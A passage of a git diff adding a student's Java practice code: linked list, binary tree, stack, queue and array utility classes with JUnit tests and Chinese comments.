+		assertEquals(1, list.remove(0));
+		assertEquals(2, list.remove(0));
+		assertEquals(0, list.size());
+	}
+
+	@Test
+	public void testSize() {
+		ArrayList list = new ArrayList();
+		list.add(1);
+		list.add(2);
+		list.add(0, 3);
+		assertEquals(3, list.size());
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNode.java b/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNode.java
new file mode 100644
index 0000000000..a6275111e3
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNode.java
@@ -0,0 +1,59 @@
+package com.xiaol.study;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月5日 上午12:57:18
+ */
+public class BinaryTreeNode {
+	// 要求，左节点比父节点小，右节点比父节点大
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+
+	public BinaryTreeNode insert(Object o) {
+		// 当前没有数据就放入当前节点
+		if (data == null) {
+			this.data = o;
+		} else if ((int) data >= (int) o) {// 放入左节点
+			if (left == null) {
+				left = new BinaryTreeNode();
+				left.setData(o);
+			} else {
+				left.insert(o);
+			}
+		} else if ((int) data < (int) o) {// 放入右节点
+			if (right == null) {
+				right = new BinaryTreeNode();
+				right.setData(o);
+			} else {
+				right.insert(o);
+			}
+		}
+		return this;
+	}
+
+	public Object getData() {
+		return data;
+	}
+
+	public void setData(Object data) {
+		this.data = data;
+	}
+
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNodeTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNodeTest.java
new file mode 100644
index 0000000000..654d79f0f3
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNodeTest.java
@@ -0,0 +1,82 @@
+package com.xiaol.study;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class BinaryTreeNodeTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testInsert() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		btn.insert(2);
+		btn.insert(0);
+		btn.insert(3);
+		assertEquals(0, btn.getLeft().getData());
+		assertEquals(1, btn.getData());
+		assertEquals(2, btn.getRight().getData());
+		assertEquals(3, btn.getRight().getRight().getData());
+	}
+
+	@Test
+	public void testGetData() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		assertEquals(1, btn.getData());
+	}
+
+	@Test
+	public void testSetData() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.setData(1);
+		assertEquals(1, btn.getData());
+	}
+
+	@Test
+	public void testGetLeft() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		btn.insert(0);
+		assertEquals(0, btn.getLeft().getData());
+	}
+
+	@Test
+	public void testSetLeft() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		BinaryTreeNode left = new BinaryTreeNode();
+		left.setData(2);
+		btn.setLeft(left);
+		assertEquals(2, btn.getLeft().getData());
+	}
+
+	@Test
+	public void testGetRight() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		btn.insert(2);
+		assertEquals(2, btn.getRight().getData());
+	}
+
+	@Test
+	public void testSetRight() {
+		BinaryTreeNode btn = new BinaryTreeNode();
+		btn.insert(1);
+		BinaryTreeNode right = new BinaryTreeNode();
+		right.setData(2);
+		btn.setRight(right);
+		assertEquals(2, btn.getRight().getData());
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/Iterator.java b/group23/381519422/DataStructure/src/com/xiaol/study/Iterator.java
new file mode 100644
index 0000000000..745c732730
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/Iterator.java
@@ -0,0 +1,12 @@
+package com.xiaol.study;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月5日 上午1:12:05
+ */
+public interface Iterator {
+
+	public boolean hasNext();
+
+	public Object next();
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java
new file mode 100644
index 0000000000..aecd901e2d
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java
@@ -0,0 +1,253 @@
+package com.xiaol.study;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月5日 上午12:30:18
+ */
+public class LinkedList implements List {
+
+	// 头指针
+	private Node head;
+
+	// 最后一个节点
+	private Node lastNode;
+
+	// 链表长度
+	private int size;
+
+	// 添加元素到最后一个节点
+	public void add(Object o) {
+		if (null == head) {
+			head = new Node(o);
+			head.next = null;
+			lastNode = head;
+			size++;
+		} else {
+			lastNode.next = new Node(o);
+			lastNode = getLastNode();
+			size++;
+		}
+	}
+
+	// 获取最后一个节点
+	private Node getLastNode() {
+		Node last = head;
+		while (last.next != null) {
+			last = last.next;
+		}
+		return last;
+	}
+
+	// 获取指定位置的Node
+	private Node getIndexNode(int index) {
+		Node node = head;
+		for (int i = 0; i < index; i++) {
+			node = node.next;
+		}
+		return node;
+	}
+
+	// 添加元素到指定位置
+	public void add(int index, Object o) {
+		checkIndex(index);
+		if (index == 0) {
+			// 将head暂存为headNext
+			Node headNext = head;
+			// 创建新的head
+			Node newHead = new Node(o);
+			head = newHead;
+			head.next = headNext;
+		} else {
+			// 获取第index-1个位置的Node
+			Node node = getIndexNode(index - 1);
+			// 暂存index位置的Node
+			Node nodeNext = node.next;
+			// 向index位置插入数据
+			node.next = new Node(o);
+			node.next.next = nodeNext;
+		}
+		size++;
+	}
+
+	// 获取指定位置元素
+	public Object get(int index) {
+		checkIndex(index);
+		Node node = head;
+		for (int i = 0; i < index; i++) {
+			node = node.next;
+		}
+		return node.data;
+	}
+
+	private void checkIndex(int index) {
+		if (index < 0 || index > size) {
+			throw new RuntimeException("非法参数");
+		}
+	}
+
+	// 移除指定位置元素
+	public Object remove(int index) {
+		checkIndex(index);
+		Object data = null;
+		if (index == 0) {
+			// 新的head
+			Node newHead = head.next;
+			// 获取移除元素
+			data = head.data;
+			// 将newHead设为head
+			head = newHead;
+		} else {
+			// 获取第index-1个位置的Node
+			Node node = getIndexNode(index - 1);
+			// 获取返回的元素
+			data = node.next.data;
+			// 将index位置从链表删除
+			node.next = node.next.next;
+		}
+		size--;
+		return data;
+	}
+
+	// 获取链表长度
+	public int size() {
+		return size;
+	}
+
+	// 添加元素到第一个节点
+	public void addFirst(Object o) {
+		add(0, o);
+	}
+
+	public void addLast(Object o) {
+		Node lastNode = getLastNode();
+		lastNode.next = new Node(o);
+		size++;
+	}
+
+	// 移除第一个元素
+	public Object removeFirst() {
+		return remove(0);
+	}
+
+	// 移除最后一个元素
+	public Object removeLast() {
+		Node lastNode = getLastNode();
+		Object data = lastNode.data;
+		lastNode = null;
+		size--;
+		return data;
+	}
+
+	public Iterator iterator() {
+		return null;
+	}
+
+	// 用于存储数据的节点
+	private static class Node {
+		Object data;
+		Node next;
+
+		// 无参构造
+		private Node() {
+
+		}
+
+		// 有参构造
+		private Node(Object o) {
+			this.data = o;
+		}
+	}
+	
+	//---------------下面的方法暂时先不实现
+	// removeDuplicateValues（），removeRange（）可以不实现
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public void remove(int i, int length) {
+		if (i < 0) {
+			throw new RuntimeException("非法参数");
+		}
+		Node indexNode = getIndexNode(i);
+		Node nextNode = getIndexNode(i);
+		for (int j = 0; j < length; j++) {
+			nextNode = nextNode.next;
+		}
+		indexNode.next = nextNode;
+	}
+	
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public int[] getElements(LinkedList list) {
+		int[] retVal = new int[list.size()];
+		for (int i = 0; i < list.size(); i++) {
+			int index = (int) list.get(i);
+			Node indexNode = getIndexNode(index);
+			int data = (int) indexNode.data;
+			retVal[i] = data;
+		}
+		return retVal;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/LinkedListTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedListTest.java
new file mode 100644
index 0000000000..faaa113907
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedListTest.java
@@ -0,0 +1,131 @@
+package com.xiaol.study;
+
+import static org.junit.Assert.assertEquals;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class LinkedListTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddObject() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(3, ll.get(2));
+	}
+
+	@Test
+	public void testAddIntObject() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.add(3, 0);
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(3, ll.get(2));
+		assertEquals(0, ll.get(3));
+		assertEquals(4, ll.size());
+	}
+
+	@Test
+	public void testGet() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.add(3, 0);
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(3, ll.get(2));
+		assertEquals(0, ll.get(3));
+		assertEquals(4, ll.size());
+	}
+
+	@Test
+	public void testRemove() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.add(0, 0);
+		ll.remove(0);
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(3, ll.get(2));
+	}
+
+	@Test
+	public void testSize() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.add(0, 0);
+		assertEquals(4, ll.size());
+	}
+
+	@Test
+	public void testAddFirst() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.addFirst(001);
+		ll.addFirst(002);
+		assertEquals(002, ll.get(0));
+		assertEquals(001, ll.get(1));
+		assertEquals(1, ll.get(2));
+		assertEquals(2, ll.get(3));
+	}
+
+	@Test
+	public void testAddLast() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.addLast(001);
+		ll.addLast(002);
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(001, ll.get(2));
+		assertEquals(002, ll.get(3));
+	}
+
+	@Test
+	public void testRemoveFirst() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.removeFirst();
+		ll.removeFirst();
+		assertEquals(3, ll.get(0));
+		assertEquals(1, ll.size());
+	}
+
+	@Test
+	public void testRemoveLast() {
+		LinkedList ll = new LinkedList();
+		ll.add(1);
+		ll.add(2);
+		ll.add(3);
+		ll.removeLast();
+		assertEquals(1, ll.get(0));
+		assertEquals(2, ll.get(1));
+		assertEquals(2, ll.size());
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/List.java b/group23/381519422/DataStructure/src/com/xiaol/study/List.java
new file mode 100644
index 0000000000..aa8c23fba3
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/List.java
@@ -0,0 +1,13 @@
+package com.xiaol.study;
+
+public interface List {
+	public void add(Object o);
+
+	public void add(int index, Object o);
+
+	public Object get(int index);
+
+	public Object remove(int index);
+
+	public int size();
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/Queue.java b/group23/381519422/DataStructure/src/com/xiaol/study/Queue.java
new file mode 100644
index 0000000000..cae4a91cfb
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/Queue.java
@@ -0,0 +1,41 @@
+package com.xiaol.study;
+
+import java.util.LinkedList;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月5日 上午12:51:34
+ */
+public class Queue {
+
+	// 队列
+	private LinkedList elementData = new LinkedList();
+	// 队列长度
+	private int size;
+
+	// 添加元素到队列尾
+	public void enQueue(Object o) {
+		elementData.add(o);
+		size++;
+	}
+
+	// 移除队列头的元素
+	public Object deQueue() {
+		Object data = elementData.removeLast();
+		size--;
+		return data;
+	}
+
+	// 队列是否为空
+	public boolean isEmpty() {
+		if (size == 0) {
+			return true;
+		}
+		return false;
+	}
+
+	// 队列长度
+	public int size() {
+		return size;
+	}
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/QueueTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/QueueTest.java
new file mode 100644
index 0000000000..88fa5597db
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/QueueTest.java
@@ -0,0 +1,64 @@
+package com.xiaol.study;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class QueueTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEnQueue() {
+		Queue q = new Queue();
+		assertEquals(0, q.size());
+		q.enQueue(1);
+		q.enQueue(2);
+		assertEquals(2, q.size());
+	}
+
+	@Test
+	public void testDeQueue() {
+		Queue q = new Queue();
+		assertEquals(0, q.size());
+		q.enQueue(1);
+		q.enQueue(2);
+		assertEquals(2, q.size());
+		q.deQueue();
+		q.deQueue();
+		assertEquals(0, q.size());
+	}
+
+	@Test
+	public void testIsEmpty() {
+		Queue q = new Queue();
+		assertEquals(true, q.isEmpty());
+		q.enQueue(1);
+		q.enQueue(2);
+		assertEquals(false, q.isEmpty());
+		q.deQueue();
+		q.deQueue();
+		assertEquals(true, q.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		Queue q = new Queue();
+		assertEquals(0, q.size());
+		q.enQueue(1);
+		q.enQueue(2);
+		assertEquals(2, q.size());
+		q.deQueue();
+		q.deQueue();
+		assertEquals(0, q.size());
+	}
+
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/Stack.java b/group23/381519422/DataStructure/src/com/xiaol/study/Stack.java
new file mode 100644
index 0000000000..7a71ab6c6b
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/Stack.java
@@ -0,0 +1,49 @@
+package com.xiaol.study;
+
+import java.util.ArrayList;
+
+/**
+ * @Description TODO
+ * @date 创建时间：2017年3月5日 上午12:47:15
+ */
+public class Stack {
+	// 存数据的List
+	private ArrayList elementData = new ArrayList();
+
+	// 栈元素数量
+	private int size;
+
+	// 压栈
+	public void push(Object o) {
+		elementData.add(o);
+		size++;
+	}
+
+	// 弹出栈顶元素
+	public Object pop() {
+		if (size == 0) {
+			throw new RuntimeException("Stack is Empty");
+		}
+		Object data = elementData.remove(size - 1);
+		size--;
+		return data;
+	}
+
+	// 获取栈顶元素
+	public Object peek() {
+		return elementData.get(size - 1);
+	}
+
+	// 是否为空
+	public boolean isEmpty() {
+		if (size == 0) {
+			return true;
+		}
+		return false;
+	}
+
+	// 栈大小
+	public int size() {
+		return size;
+	}
+}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/StackTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/StackTest.java
new file mode 100644
index 0000000000..937bbb831b
--- /dev/null
+++ b/group23/381519422/DataStructure/src/com/xiaol/study/StackTest.java
@@ -0,0 +1,68 @@
+package com.xiaol.study;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class StackTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testPush() {
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		assertEquals(3, s.size());
+	}
+
+	@Test
+	public void testPop() {
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		assertEquals(3, s.pop());
+		assertEquals(2, s.pop());
+		assertEquals(1, s.pop());
+		assertEquals(0, s.size());
+	}
+
+	@Test
+	public void testPeek() {
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		assertEquals(3, s.peek());
+	}
+
+	@Test
+	public void testIsEmpty() {
+		Stack s = new Stack();
+		assertEquals(true, s.isEmpty());
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		assertEquals(false, s.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		Stack s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		assertEquals(3, s.size());
+	}
+
+}
diff --git a/group23/381519422/array/src/array/ArrayUtil.java b/group23/381519422/array/src/array/ArrayUtil.java
new file mode 100644
index 0000000000..cb1d3f49dc
--- /dev/null
+++ b/group23/381519422/array/src/array/ArrayUtil.java
@@ -0,0 +1,354 @@
+package array;
+
+import java.util.ArrayList;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin) {
+		if (origin == null || origin.length <= 1) {
+			return;
+		}
+		//第1和第length互换位置，第2和第length-1互换，以此类推
+		for (int i = 0; i < origin.length / 2; i++) {
+			int temp = origin[i];
+			origin[i] = origin[origin.length - 1 - i];
+			origin[origin.length - 1 - i] = temp;
+		}
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	public int[] removeZero(int[] oldArray) {
+		// 判断非法输入
+		if (oldArray == null || oldArray.length == 0) {
+			return null;
+		}
+
+		// 创建临时数组，长度与原oldArray一样长
+		int[] temp = new int[oldArray.length];
+		int tempCount = 0;
+		for (int i = 0; i < oldArray.length; i++) {
+			// 判断元素是0跳过
+			if (oldArray[i] == 0) {
+				continue;
+			} else {// 非零放入临时数组，计数器加1
+				temp[tempCount++] = oldArray[i];
+			}
+		}
+
+		// 如果计数器与原数组长度一致，直接返回临时数组
+		if (tempCount == oldArray.length) {
+			return temp;
+		} else {// 否则返回长度为tempCount的数组
+			int[] retVal = new int[tempCount];
+			System.arraycopy(temp, 0, retVal, 0, tempCount);
+			return retVal;
+		}
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	public int[] merge(int[] array1, int[] array2) {
+		// 创建临时数组，长度为array1+array2的长度
+		int[] temp = new int[array1.length + array2.length];
+		int index = 0;// temp的下标
+		int i = 0;// array1的下标
+		int j = 0;// array2的下标
+		int count = 0;// temp存放元素的计数器
+
+		while (true) {
+
+			if (i == array1.length) {// 当array1已经全部添加到temp，就把array2剩余的放入temp
+				for (int l = j; l < array2.length; l++) {
+					temp[index++] = array2[l];
+					count++;
+				}
+				break;
+			} else if (j == array2.length) {// 当array2已经全部添加到temp，就把array1剩余的放入temp
+				for (int l = i; l < array1.length; l++) {
+					temp[index++] = array1[l];
+					count++;
+				}
+				break;
+			}
+
+			// 取array1第i和array2第j个元素比较。如果array1[i]的小于array2[j]，则array1[i]放入temp
+			// 同时i++，使得下次为i+1和j个元素比较。
+			// 如果array1第i和array2第j个元素相等。则array1[i]放入temp
+			// 同时i++，j++，使得下次为i+1和j+1个元素比较。
+			if (array1[i] < array2[j]) {
+				temp[index++] = array1[i++];
+				count++;
+			} else if (array1[i] > array2[j]) {
+				temp[index++] = array2[j++];
+				count++;
+			} else {
+				temp[index++] = array1[i];
+				i++;
+				j++;
+				count++;
+			}
+		}
+
+		// 如果计数器和temp.length相等，直接返回
+		if (count == temp.length) {
+			return temp;
+		} else {// 否则创建长度为count的新数组返回
+			int[] retVal = new int[count];
+			System.arraycopy(temp, 0, retVal, 0, count);
+			return retVal;
+		}
+	}
+	
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int[] oldArray, int size) {
+		// 参数校验
+		if (size < 0) {
+			throw new RuntimeException("非法参数");
+		}
+		if (size == 0) {
+			return oldArray;
+		}
+
+		// 扩容
+		int[] retVal = new int[oldArray.length + size];
+		for (int i = 0; i < oldArray.length; i++) {
+			retVal[i] = oldArray[i];
+		}
+		return retVal;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max) {
+		// 0直接返回空数组
+		if (max == 1) {
+			return new int[0];
+		}
+
+		int retVal = 0;// 每一轮循环的斐波那契数
+		int i = 1;// 获取第几个斐波那契数
+		ArrayList<Integer> list = new ArrayList<Integer>();// 用于暂时保存斐波那契数
+		while (retVal < max) {// 获取所有小于max的斐波那契数
+			retVal = getFibonacci(i++);
+			if (retVal < max) {
+				list.add(retVal);
+			} else {
+				break;
+			}
+		}
+
+		// 将arraylist转为array
+		int[] retArray = new int[list.size()];
+		for (int j = 0; j < list.size(); j++) {
+			retArray[j] = list.get(j);
+		}
+		return retArray;
+	}
+	
+	/**
+	 * 循环获取第N个斐波那契数
+	 * @param index
+	 * @return
+	 */
+	private int getFibonacci(int index) {
+		if (index < 1) {
+			throw new RuntimeException("非法参数");
+		}
+		if (index == 1 || index == 2) {
+			return 1;
+		}
+
+		int first = 1;
+		int second = 1;
+		int retVal = 0;
+		for (int i = 3; i <= index; i++) {
+			retVal = first + second;
+			first = second;
+			second = retVal;
+		}
+		return retVal;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max) {
+		// 排除非法参数
+		if (max < 0) {
+			throw new RuntimeException("非法参数");
+		}
+
+		// 小于2没有素数
+		if (max <= 1) {
+			return new int[0];
+		}
+
+		ArrayList<Integer> list = new ArrayList<Integer>();
+		// 取出每个数判断是不是素数，是就放入arraylist
+		for (int i = 2; i < max; i++) {
+			boolean primes = isPrimes(i);
+			if (primes) {
+				list.add(i);
+			}
+		}
+
+		int[] retArray = new int[list.size()];
+		// 将ArrayList转为数组返回
+		for (int i = 0; i < list.size(); i++) {
+			retArray[i] = list.get(i);
+		}
+		return retArray;
+	}
+	
+	/**
+	 * 判断输入的数字是不是素数
+	 * @param num
+	 * @return
+	 */
+	private boolean isPrimes(int num) {
+		// 排除非法参数
+		if (num <= 0) {
+			throw new RuntimeException("非法参数");
+		}
+
+		// 小于2没有素数
+		if (num == 1) {
+			return false;
+		}
+
+		// 2是素数，但是2%2==0为true，所以单独列出
+		if (num == 2) {
+			return true;
+		}
+
+		// num依次从2到num的平方根取余数，如果余数为零说明不是素数
+		for (int i = 2; i <= Math.sqrt(num); i++) {
+			if (num % i == 0) {
+				return false;
+			}
+		}
+		return true;
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max) {
+		if (max < 0) {
+			throw new RuntimeException("非法参数");
+		}
+		if (max <= 2) {
+			return new int[0];
+		}
+
+		// 获取小于max 的所有完数
+		ArrayList<Integer> list = new ArrayList<Integer>();
+		for (int i = 1; i < max; i++) {
+			if (isPerfectNumber(i)) {
+				list.add(i);
+			}
+		}
+
+		// 将ArrayList转为array返回
+		int[] array = new int[list.size()];
+		for (int i = 0; i < list.size(); i++) {
+			array[i] = list.get(i);
+		}
+		return array;
+	}
+	
+	/**
+	 * 判断输入的数是不是完美数
+	 * @param num
+	 * @return
+	 */
+	private boolean isPerfectNumber(int num) {
+		if (num <= 0) {
+			throw new RuntimeException("非法参数");
+		}
+
+		// 放置num的所有约数
+		ArrayList<Integer> divisorList = new ArrayList<Integer>();
+		for (int i = 1; i < num; i++) {
+			if (num % i == 0) {
+				divisorList.add(i);
+			}
+		}
+
+		// 所有因数相加是否等于num，是就是完美数
+		int count = 0;
+		for (int i = 0; i < divisorList.size(); i++) {
+			count += divisorList.get(i);
+		}
+		if (count == num) {
+			return true;
+		} else {
+			return false;
+		}
+	}
+
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator) {
+		// 检查非法输入
+		if (array == null) {
+			return null;
+		}
+
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < array.length; i++) {
+			if (i == array.length - 1) {// 最后一个元素后面不拼接-
+				sb.append(array[i]);
+			} else {
+				sb.append(array[i]);
+				sb.append("-");
+			}
+		}
+		return sb.toString();
+	}
+	
+
+}
\ No newline at end of file
diff --git a/group23/381519422/array/src/array/ArrayUtilTest.java b/group23/381519422/array/src/array/ArrayUtilTest.java
new file mode 100644
index 0000000000..a202afdb20
--- /dev/null
+++ b/group23/381519422/array/src/array/ArrayUtilTest.java
@@ -0,0 +1,116 @@
+package array;
+
+import static org.junit.Assert.*;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ArrayUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testReverseArray() {
+		int[] a = { 7, 9, 30, 3, 4 };
+		int[] expecteds = { 4, 3, 30, 9, 7 };
+		ArrayUtil util = new ArrayUtil();
+		util.reverseArray(a);
+		assertArrayEquals(expecteds, a);
+	}
+
+	@Test
+	public void testRemoveZero() {
+		int[] oldArr = { 1, 3, 4, 5, 0, 0, 6, 6, 0, 5, 4, 7, 6, 7, 0, 5 };
+		int[] expecteds = { 1, 3, 4, 5, 6, 6, 5, 4, 7, 6, 7, 5 };
+		ArrayUtil util = new ArrayUtil();
+		int[] removeZero = util.removeZero(oldArr);
+		assertArrayEquals(expecteds, removeZero);
+	}
+
+	@Test
+	public void testMerge() {
+		int[] a1 = { 3, 5, 7, 8 };
+		int[] a2 = { 4, 5, 6, 7 };
+		ArrayUtil util = new ArrayUtil();
+		int[] merge = util.merge(a1, a2);
+		int[] expecteds = { 3, 4, 5, 6, 7, 8 };
+		assertArrayEquals(expecteds, merge);
+	}
+
+	@Test
+	public void testGrow() {
+		int[] oldArray = { 2, 3, 6 };
+		int size = 3;
+		int[] expecteds = { 2, 3, 6, 0, 0, 0 };
+		ArrayUtil util = new ArrayUtil();
+		int[] grow = util.grow(oldArray, size);
+		assertArrayEquals(expecteds, grow);
+	}
+
+	@Test
+	public void testFibonacci() {
+		int max1 = 15;
+		int[] expecteds1 = { 1, 1, 2, 3, 5, 8, 13 };
